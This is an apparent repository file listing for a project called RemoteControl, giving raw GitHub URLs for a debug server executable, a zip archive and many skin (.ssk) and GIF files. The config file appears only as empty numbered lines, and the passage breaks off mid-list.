/RemoteControl.Server/bin/Debug/RemoteControl.Server.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/RemoteControl.Server.exe -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/RemoteControl.Server.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 |
5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/RemoteControl.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/RemoteControl.zip -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Carlmness/Calmness.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Carlmness/Calmness.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Carlmness/CalmnessColor1.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Carlmness/CalmnessColor1.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Carlmness/CalmnessColor2.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Carlmness/CalmnessColor2.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Carlmness/calmness.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Carlmness/calmness.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Carlmness/calmness_color1.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Carlmness/calmness_color1.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Carlmness/calmness_color2.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Carlmness/calmness_color2.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Deep/DeepCyan.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Deep/DeepCyan.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Deep/DeepGreen.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Deep/DeepGreen.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Deep/DeepOrange.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Deep/DeepOrange.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Deep/deepcyan.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Deep/deepcyan.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Deep/deepgreen.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Deep/deepgreen.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Deep/deeporange.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Deep/deeporange.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Diamond/DiamondBlue.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Diamond/DiamondBlue.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Diamond/DiamondGreen.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Diamond/DiamondGreen.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Diamond/DiamondOlive.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Diamond/DiamondOlive.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Diamond/DiamondOlive.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Diamond/DiamondOlive.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Diamond/DiamondPurple.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Diamond/DiamondPurple.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Diamond/DiamondPurple.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Diamond/DiamondPurple.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Diamond/DiamondRed.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Diamond/DiamondRed.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Diamond/DiamondRed.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Diamond/DiamondRed.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Diamond/diamondblue.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Diamond/diamondblue.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Diamond/diamondgreen.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Diamond/diamondgreen.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Eighteen/Eighteen.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Eighteen/Eighteen.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Eighteen/EighteenColor1.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Eighteen/EighteenColor1.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Eighteen/EighteenColor2.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Eighteen/EighteenColor2.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Eighteen/eighteen.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Eighteen/eighteen.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Eighteen/eighteen_color1.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Eighteen/eighteen_color1.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Eighteen/eighteen_color2.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Eighteen/eighteen_color2.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Emerald/Emerald.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Emerald/Emerald.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Emerald/EmeraldColor1.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Emerald/EmeraldColor1.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Emerald/EmeraldColor2.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Emerald/EmeraldColor2.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Emerald/EmeraldColor3.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Emerald/EmeraldColor3.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Emerald/emerald.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Emerald/emerald.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Emerald/emerald_color1.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Emerald/emerald_color1.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Emerald/emerald_color2.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Emerald/emerald_color2.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Emerald/emerald_color3.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Emerald/emerald_color3.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Glass/GlassBrown.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Glass/GlassBrown.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Glass/GlassGreen.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Glass/GlassGreen.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Glass/GlassOrange.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Glass/GlassOrange.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Glass/glassbrown.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Glass/glassbrown.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Glass/glassgreen.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Glass/glassgreen.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Glass/glassorange.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Glass/glassorange.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Longhorn/Longhorn.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Longhorn/Longhorn.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Longhorn/longhorn.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Longhorn/longhorn.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/MP10/mp10.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/MP10/mp10.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/MP10/mp10.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/MP10/mp10.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/MP10/mp10green.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/MP10/mp10green.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/MP10/mp10green.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/MP10/mp10green.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/MP10/mp10maroon.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/MP10/mp10maroon.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/MP10/mp10maroon.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/MP10/mp10maroon.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/MP10/mp10mulberry.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/MP10/mp10mulberry.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/MP10/mp10mulberry.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/MP10/mp10mulberry.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/MP10/mp10pink.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/MP10/mp10pink.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/MP10/mp10pink.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/MP10/mp10pink.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/MP10/mp10purple.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/MP10/mp10purple.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/MP10/mp10purple.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/MP10/mp10purple.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/MSN/MSN.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/MSN/MSN.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/MSN/msn.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/MSN/msn.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/MacOS/MacOS.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/MacOS/MacOS.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/MacOS/macos.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/MacOS/macos.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Midsummer/Midsummer.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Midsummer/Midsummer.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Midsummer/MidsummerColor1.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Midsummer/MidsummerColor1.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Midsummer/MidsummerColor2.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Midsummer/MidsummerColor2.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Midsummer/MidsummerColor3.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Midsummer/MidsummerColor3.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Midsummer/midsummer.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Midsummer/midsummer.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Midsummer/midsummer_color1.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Midsummer/midsummer_color1.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Midsummer/midsummer_color2.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Midsummer/midsummer_color2.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Midsummer/midsummer_color3.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Midsummer/midsummer_color3.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Office2007/office2007.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Office2007/office2007.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Office2007/office2007.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Office2007/office2007.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/One/OneBlue.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/One/OneBlue.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/One/OneCyan.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/One/OneCyan.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/One/OneGreen.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/One/OneGreen.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/One/OneOrange.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/One/OneOrange.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/One/oneblue.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/One/oneblue.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/One/onecyan.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/One/onecyan.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/One/onegreen.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/One/onegreen.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/One/oneorange.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/One/oneorange.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Page/Page.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Page/Page.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Page/PageColor1.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Page/PageColor1.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Page/PageColor2.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Page/PageColor2.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Page/page.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Page/page.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Page/page_color1.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Page/page_color1.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Page/page_color2.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Page/page_color2.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/RealOne/RealOne.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/RealOne/RealOne.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/RealOne/realone.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/RealOne/realone.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Silver/Silver.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Silver/Silver.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Silver/SilverColor1.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Silver/SilverColor1.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Silver/SilverColor2.ssk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Silver/SilverColor2.ssk -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Silver/silver.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Silver/silver.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Silver/silver_color1.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Silver/silver_color1.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Silver/silver_color2.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Silver/silver_color2.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Skins/Sports/SportsBlack.ssk: -------------------------------------------------------------------------------- 